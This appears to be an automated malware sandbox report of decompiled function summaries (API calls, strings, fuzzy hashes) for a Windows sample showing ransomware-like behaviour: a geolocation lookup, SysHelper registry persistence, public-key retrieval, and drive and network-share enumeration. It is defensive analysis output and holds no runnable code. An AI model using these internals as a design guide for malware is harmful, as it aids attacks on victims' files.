Part of subcall function 00411CD0: RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D6C
Part of subcall function 00411CD0: lstrlenA.KERNEL32(" --AutoStart,?,?), ref: 00411DD6
Part of subcall function 00411CD0: PathFileExistsW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,-00000001), ref: 00411E48

IsWindow.USER32(?), ref: 0041BF69
DestroyWindow.USER32(?), ref: 0041BF7B
DefWindowProcW.USER32(?,00008003,?,?), ref: 0041BFA8

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: Window$Proc$CloseComputerDestroyExistsFileMessageNameOpenPathPostQueryQuitValue_free_malloc_memsetlstrlen
String ID:
API String ID: 3873257347-0
Opcode ID: f59e29133725df182416b9b2f7e88d2aef87c727fbb6ba63f9701c2509f4dbdf
Instruction ID: 866eb7db68ae170cd8e17be643faf7720e0ae735171854e0fa5cbc2bc792534d
Opcode Fuzzy Hash: f59e29133725df182416b9b2f7e88d2aef87c727fbb6ba63f9701c2509f4dbdf
Instruction Fuzzy Hash: 85C19171508340AFDB20DF25DD45B9BBBE0FF85318F14492EF888863A1D7799885CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 00423576 Relevance: 16.8, APIs: 11, Instructions: 258
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 004235B1

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

__gmtime64_s.LIBCMT ref: 0042364A
__gmtime64_s.LIBCMT ref: 00423680
__gmtime64_s.LIBCMT ref: 0042369D
__allrem.LIBCMT ref: 004236F3
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0042370F
__allrem.LIBCMT ref: 00423726
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00423744
__allrem.LIBCMT ref: 0042375B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00423779
__invoke_watson.LIBCMT ref: 004237EA

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
String ID:
API String ID: 384356119-0
Opcode ID: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction ID: ab95fd8d4aa8d0004faaa41ec126efad4d06c0b8c45c9850b5361983c80b405c
Opcode Fuzzy Hash: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction Fuzzy Hash: 6E7108B1B00726BBD7149E6ADC41B5AB3B8AF40729F54823FF514D6381E77CEA408798

Uniqueness

Uniqueness Score: -1.00%

Function 0040CF10 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 228
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 0040CF4A
InternetOpenW.WININET(Microsoft Internet Explorer,00000000,00000000,00000000,00000000), ref: 0040CF5F
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040CFA6
InternetReadFile.WININET(00000000,?,00002800,?), ref: 0040CFCD
InternetCloseHandle.WININET(00000000), ref: 0040CFDA
InternetCloseHandle.WININET(00000000), ref: 0040CFDD

Strings

"country_code":", xrefs: 0040CFE1
Microsoft Internet Explorer, xrefs: 0040CF5A
https://api.2ip.ua/geo.json, xrefs: 0040CF79

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleOpen$FileRead_memset
String ID: "country_code":"$Microsoft Internet Explorer$https://api.2ip.ua/geo.json
API String ID: 1485416377-2962370585
Opcode ID: eba4b4c349f72a7036f80b8a5c815041769706e5ccdbd99c734d54df45b86813
Instruction ID: 63dc5d72282b855868e1768d03255ed744c0e271f8772f8e66d922d9032ce3a5
Opcode Fuzzy Hash: eba4b4c349f72a7036f80b8a5c815041769706e5ccdbd99c734d54df45b86813
Instruction Fuzzy Hash: 0F91B470D00218EBDF10DF90DD55BEEBBB4AF05308F14416AE4057B2C1DBBA5A89CB59

Uniqueness

Uniqueness Score: -1.00%

Function 0040C740 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 254COMMON

Download Yara Rule

APIs

Part of subcall function 00420FDD: __wfsopen.LIBCMT ref: 00420FE8

_fgetws.LIBCMT ref: 0040C7BC
_memmove.LIBCMT ref: 0040C89F
CreateDirectoryW.KERNEL32(C:\SystemID,00000000), ref: 0040C94B

Strings

C:\SystemID, xrefs: 0040C946
C:\SystemID\PersonalID.txt, xrefs: 0040C77C, 0040C956

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: CreateDirectory__wfsopen_fgetws_memmove
String ID: C:\SystemID$C:\SystemID\PersonalID.txt
API String ID: 2864494435-54166481
Opcode ID: d2a7307961bd31337701dc6ec9d2c6b7c0bd8fc7cace1c113a2cf7edf7e5f011
Instruction ID: 3a80d152ee3a33a632d987be3a831cd6f981e29f6d1810208bb328cacc5ceb60
Opcode Fuzzy Hash: d2a7307961bd31337701dc6ec9d2c6b7c0bd8fc7cace1c113a2cf7edf7e5f011
Instruction Fuzzy Hash: 449193B2E00219DBCF20DFA5D9857AFB7B5AF04304F54463BE805B3281E7799A44CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040F310 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 311libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Shell32.dll,75B04E90), ref: 0040F338
GetProcAddress.KERNEL32(00000000,SHGetFolderPathW), ref: 0040F353

Strings

SHGetFolderPathW, xrefs: 0040F34D
\, xrefs: 0040F548
Shell32.dll, xrefs: 0040F32C

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: SHGetFolderPathW$Shell32.dll$\
API String ID: 2574300362-2555811374
Opcode ID: dd6b14832b5104750aa27bf93c92a2ba4a772727a74b1aaa711ed79d29b3ce8d
Instruction ID: 879cb2c41796572bb27552663435674e3d239ec9c812fe4031d18dca963833e9
Opcode Fuzzy Hash: dd6b14832b5104750aa27bf93c92a2ba4a772727a74b1aaa711ed79d29b3ce8d
Instruction Fuzzy Hash: DFC15A70D00209EBDF10DFA4DD85BDEBBB5AF14308F10443AE405B7291EB79AA59CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040C6A0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 49registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion,00000000,000F003F,0041E6D4), ref: 0040C6C2
RegQueryValueExW.KERNEL32(00000000,SysHelper,00000000,00000004,?,?), ref: 0040C6F3
RegCloseKey.ADVAPI32(00000000), ref: 0040C700
RegSetValueExW.KERNEL32(00000000,SysHelper,00000000,00000004,?,00000004), ref: 0040C725
RegCloseKey.ADVAPI32(00000000), ref: 0040C72E

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 0040C6B8
SysHelper, xrefs: 0040C6EB, 0040C71D

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: CloseValue$OpenQuery
String ID: Software\Microsoft\Windows\CurrentVersion$SysHelper
API String ID: 3962714758-1667468722
Opcode ID: 1b3e89e7960631348278952d172054be4d8a3531237e516afd507403cd6f8071
Instruction ID: 83d53c3b81c5c3826f22504a9cab54a14a7287ca0244f3776693af22b4817dfa
Opcode Fuzzy Hash: 1b3e89e7960631348278952d172054be4d8a3531237e516afd507403cd6f8071
Instruction Fuzzy Hash: 60112D7594020CFBDB109F91CC86FEEBB78EB04708F2041A5FA04B22A1D7B55B14AB58

Uniqueness

Uniqueness Score: -1.00%

Function 0041E6E8 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 44stringnetworkfileCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0041E707

Part of subcall function 0040C500: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?), ref: 0040C51B

InternetOpenW.WININET ref: 0041E743
_wcsstr.LIBCMT ref: 0041E7AE
_memmove.LIBCMT ref: 0041E838
lstrcpyW.KERNEL32(?,?), ref: 0041E90A
lstrcatW.KERNEL32(?,&first=false), ref: 0041E93D
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0041E954
InternetReadFile.WININET(00000000,?,00000400,?), ref: 0041E96F
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041E98C
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041E9A3
lstrlenA.KERNEL32(?,00000000,00000000,000000FF), ref: 0041E9CD
InternetCloseHandle.WININET(00000000), ref: 0041E9F3
InternetCloseHandle.WININET(00000000), ref: 0041E9F6
_strstr.LIBCMT ref: 0041EA36
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EA59
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041EA74
DeleteFileA.KERNEL32(?), ref: 0041EA82
lstrlenA.KERNEL32({"public_key":",00000000,000000FF), ref: 0041EA92
lstrcpyA.KERNEL32(?,?), ref: 0041EAA4
lstrcpyA.KERNEL32(?,?), ref: 0041EABA
lstrlenA.KERNEL32(?), ref: 0041EAC8
lstrlenA.KERNEL32(00000022), ref: 0041EAE3
lstrcpyW.KERNEL32(?,00000000), ref: 0041EB5B
lstrlenA.KERNEL32(?), ref: 0041EB7C
_malloc.LIBCMT ref: 0041EB86
_memset.LIBCMT ref: 0041EB94
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000001), ref: 0041EBAE
lstrcpyW.KERNEL32(?,00000000), ref: 0041EBB6
_strstr.LIBCMT ref: 0041EBDA
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EC00
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041EC24
DeleteFileA.KERNEL32(?), ref: 0041EC32

Strings

{"public_key":", xrefs: 0041EA2E
bowsakkdestx.txt, xrefs: 0041EA67

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: Path$Internetlstrcpylstrlen$Folder$AppendFile$CloseDeleteHandleOpen_memset_strstr$ByteCharMultiReadWide_malloc_memmove_wcsstrlstrcat
String ID: bowsakkdestx.txt${"public_key":"
API String ID: 2805819797-1771568745
Opcode ID: b1c6d5b9cc7872d960cbedbbf01e77bd4c23ed7d360ca7e20ceb3fbc707119fd
Instruction ID: c8d03ce4d59ef2fdab541fe9505dce31f646fa9b39186cada3cd653a8fd1c75a
Opcode Fuzzy Hash: b1c6d5b9cc7872d960cbedbbf01e77bd4c23ed7d360ca7e20ceb3fbc707119fd
Instruction Fuzzy Hash: 3901D234448391ABD630DF119C45FDF7B98AF51304F44482EFD8892182EF78A248879B

Uniqueness

Uniqueness Score: -1.00%

Function 00411B10 Relevance: 10.6, APIs: 7, Instructions: 50timewindowsleepCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM(?,?,?,?,0041EE2F), ref: 00411B1E
timeGetTime.WINMM(?,?,0041EE2F), ref: 00411B29
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411B4C
DispatchMessageW.USER32(?), ref: 00411B5C
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411B6A
Sleep.KERNEL32(00000064,?,?,0041EE2F), ref: 00411B72
timeGetTime.WINMM(?,?,0041EE2F), ref: 00411B78

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: MessageTimetime$Peek$DispatchSleep
String ID:
API String ID: 3697694649-0
Opcode ID: fcc8413cfddb585fd402253dfe517567f0959867a63999003a9cc793a607e07b
Instruction ID: 47d0c5dc5d1eae46eaa001befe89e32fbe66e83151f6641dec248f991c3ab793
Opcode Fuzzy Hash: fcc8413cfddb585fd402253dfe517567f0959867a63999003a9cc793a607e07b
Instruction Fuzzy Hash: EE017532A40319A6DB2097E59C81FEEB768AB44B40F044066FB04A71D0E664A9418BA9

Uniqueness

Uniqueness Score: -1.00%

Function 004416EB Relevance: 9.1, APIs: 6, Instructions: 112COMMON

Download Yara Rule

APIs

__getenv_helper_nolock.LIBCMT ref: 00441726
__invoke_watson.LIBCMT ref: 00441780
_strlen.LIBCMT ref: 00441734

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

_strnlen.LIBCMT ref: 004417BF
__lock.LIBCMT ref: 004417D0
__getenv_helper_nolock.LIBCMT ref: 004417DB

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: __getenv_helper_nolock$__getptd_noexit__invoke_watson__lock_strlen_strnlen
String ID:
API String ID: 3534693527-0
Opcode ID: 8a761c36c5351fa9b02142889b5f586b26770ea9060b0f38c96b5b5532c23d3d
Instruction ID: 706a9fbf285425ec29b4e33d2635255339e15eb248031f995e6227ac9da9c0f4
Opcode Fuzzy Hash: 8a761c36c5351fa9b02142889b5f586b26770ea9060b0f38c96b5b5532c23d3d
Instruction Fuzzy Hash: A131FC31741235ABEB216BA6EC02B9F76949F44B64F54015BF814DB391DF7CC88046AD

Uniqueness

Uniqueness Score: -1.00%

Function 0040C500 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?), ref: 0040C51B
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C539

Strings

bowsakkdestx.txt, xrefs: 0040C52D

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: Path$AppendFolder
String ID: bowsakkdestx.txt
API String ID: 29327785-2616962270
Opcode ID: e9b26cb769ea0bea4beab22a3d6a773b005b8fbb9681272d242edd76dbb4ecf4
Instruction ID: a05810460da3035b09b2d6f50620da2975429261b58b3288bff945a9ad0f9da5
Opcode Fuzzy Hash: e9b26cb769ea0bea4beab22a3d6a773b005b8fbb9681272d242edd76dbb4ecf4
Instruction Fuzzy Hash: 281127B2B4023833D930756A7C87FEB735C9B42725F4001B7FE0CA2182A5AE554501E9

Uniqueness

Uniqueness Score: -1.00%

Function 0041BA80 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(00000000,LPCWSTRszWindowClass,LPCWSTRszTitle,00CF0000,80000000,00000000,80000000,00000000,00000000,00000000,?,00000000), ref: 0041BAAD
ShowWindow.USER32(00000000,00000000), ref: 0041BABE
UpdateWindow.USER32(00000000), ref: 0041BAC5

Strings

LPCWSTRszWindowClass, xrefs: 0041BAA0
LPCWSTRszTitle, xrefs: 0041BA9B

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: Window$CreateShowUpdate
String ID: LPCWSTRszTitle$LPCWSTRszWindowClass
API String ID: 2944774295-3503800400
Opcode ID: a65d1e0183acb99785454671d95aa34da9e61ee796a7d373e4ca79d97c1a5a0d
Instruction ID: 93e3ae8c3ab6e4512016b3ef7200399996c0305a41779b72c5d02abe3f8cd5ff
Opcode Fuzzy Hash: a65d1e0183acb99785454671d95aa34da9e61ee796a7d373e4ca79d97c1a5a0d
Instruction Fuzzy Hash: 08E04F316C172077E3715B15BC5BFDA2918FB05F10F308119FA14792E0C6E569428A8C

Uniqueness

Uniqueness Score: -1.00%

Function 00410BD0 Relevance: 7.7, APIs: 5, Instructions: 234sharememoryCOMMON

Download Yara Rule

APIs

WNetOpenEnumW.MPR(00000002,00000000,00000000,00000000,?), ref: 00410C12
GlobalAlloc.KERNEL32(00000040,00004000), ref: 00410C39
_memset.LIBCMT ref: 00410C4C
WNetEnumResourceW.MPR(?,?,00000000,?), ref: 00410C63

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: Enum$AllocGlobalOpenResource_memset
String ID:
API String ID: 364255426-0
Opcode ID: acc146ec90208cc4e94a810ccec61e95e52fe26ba4dd8eba608da12de9ab8114
Instruction ID: bd97fe2cb621df6ca28f66a093f1f6e361520364a30ff1ea4190286e2c40543e
Opcode Fuzzy Hash: acc146ec90208cc4e94a810ccec61e95e52fe26ba4dd8eba608da12de9ab8114
Instruction Fuzzy Hash: 0F91B2756083418FD724DF55D891BABB7E1FF84704F14891EE48A87380E7B8A981CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 00410A50 Relevance: 7.6, APIs: 5, Instructions: 104COMMON

Download Yara Rule

APIs

GetLogicalDrives.KERNEL32 ref: 00410A75
SetErrorMode.KERNEL32(00000001,00500234,00000002), ref: 00410AE2
PathFileExistsA.SHLWAPI(?), ref: 00410AF9
SetErrorMode.KERNEL32(00000000), ref: 00410B02
GetDriveTypeA.KERNEL32(?), ref: 00410B1B

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: ErrorMode$DriveDrivesExistsFileLogicalPathType
String ID:
API String ID: 2560635915-0
Opcode ID: 731358bb1881b2de5a166c7589031af44ed4959e6c5f14ac5a3a2c455bdc14fd
Instruction ID: e48b338c548d72163c5ae3f73f283317dfaad29deff82c686574d6b9df2ed0f8
Opcode Fuzzy Hash: 731358bb1881b2de5a166c7589031af44ed4959e6c5f14ac5a3a2c455bdc14fd
Instruction Fuzzy Hash: 6141F271108340DFC710DF69C885B8BBBE4BB85718F500A2EF089922A2D7B9D584CB97

Uniqueness

Uniqueness Score: -1.00%

Function 00423B4C Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00423B64

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(008B0000,00000000,00000001,00000001,?,?,?,00430E81,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420CA5

std::exception::exception.LIBCMT ref: 00423B82
__CxxThrowException@8.LIBCMT ref: 00423B97

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,0044F299,?,?,?,?,?,?,?,0044F299,?,00508238,?), ref: 00430F1F

Strings

bad allocation, xrefs: 00423B77

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: AllocateExceptionException@8HeapRaiseThrow_mallocstd::exception::exception
String ID: bad allocation
API String ID: 3074076210-2104205924
Opcode ID: aea33c33147a0146d7280c209713589e63d2cd09fffb2e66034523d2587f1995
Instruction ID: 445f5c97f97310cbd08f0009147839d9c604c92f3643d32107fe893a2d7397f3
Opcode Fuzzy Hash: aea33c33147a0146d7280c209713589e63d2cd09fffb2e66034523d2587f1995
Instruction Fuzzy Hash: 74F0F97560022D66CB00AF99EC56EDE7BECDF04315F40456FFC04A2282DBBCAA4486DD

Uniqueness

Uniqueness Score: -1.00%

Function 0040F0E0 Relevance: 6.1, APIs: 4, Instructions: 86filestringCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,40000000,00000002,00000000,00000002,00000080,00000000,00000000,?,?), ref: 0040F125
lstrlenA.KERNEL32(?,?,00000000), ref: 0040F198
WriteFile.KERNEL32(00000000,?,00000000), ref: 0040F1A1
CloseHandle.KERNEL32(00000000), ref: 0040F1A8

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleWritelstrlen
String ID:
API String ID: 1421093161-0
Opcode ID: f3ad518139e5e98386cfa75dd9918b484f748acc4be815297911591db56d2f2f
Instruction ID: 4e0a1a2928686de7afe91093b481d52cb6f90b47dd46c4e49af8be4df8d63ea4
Opcode Fuzzy Hash: f3ad518139e5e98386cfa75dd9918b484f748acc4be815297911591db56d2f2f
Instruction Fuzzy Hash: DF31F531A00104EBDB14AF68DC4ABEE7B78EB05704F50813EF9056B6C0D7796A89CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0041B185 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147windowCOMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,?), ref: 0041B1BA

Part of subcall function 004111C0: CreateFileW.KERNEL32(00000000,C0000000,00000001,00000000,00000003,00000080,00000000,?,00000000,?), ref: 0041120F
Part of subcall function 004111C0: GetFileSizeEx.KERNEL32(00000000,?,?,00000000,?), ref: 00411228
Part of subcall function 004111C0: CloseHandle.KERNEL32(00000000,?,00000000,?), ref: 0041123D
Part of subcall function 004111C0: MoveFileW.KERNEL32(00000000,?), ref: 00411277

Part of subcall function 0041BA10: LoadCursorW.USER32(00000000,00007F00), ref: 0041BA4A
Part of subcall function 0041BA10: RegisterClassExW.USER32(00000030), ref: 0041BA73

Part of subcall function 0041BA80: CreateWindowExW.USER32(00000000,LPCWSTRszWindowClass,LPCWSTRszTitle,00CF0000,80000000,00000000,80000000,00000000,00000000,00000000,?,00000000), ref: 0041BAAD

GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0041B4B3
TranslateMessage.USER32(?), ref: 0041B4CD
DispatchMessageW.USER32(?), ref: 0041B4D7

Strings

%username%, xrefs: 0041B283
I:\5d2860c89d774.jpg, xrefs: 0041B32F

Memory Dump Source

Source File: 00000004.00000002.2319914633.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2319914633.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2319914633.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sbvN2ih5AU.jbxd

Yara matches

Similarity

API ID: FileMessage$Create$ClassCloseCursorDispatchHandleLoadMoveNameRegisterSizeTranslateUserWindow
String ID: %username%$I:\5d2860c89d774.jpg
API String ID: 441990211-897913220
Opcode ID: bad3609ad615ec0fe5f5379fd9a4335ddd94e9fd1592faa856105229702b452d
Instruction ID: 53fb4cb99f7e95a824910e08ad4bb0dd21933b0d591bc71827c80b4e91f39c04
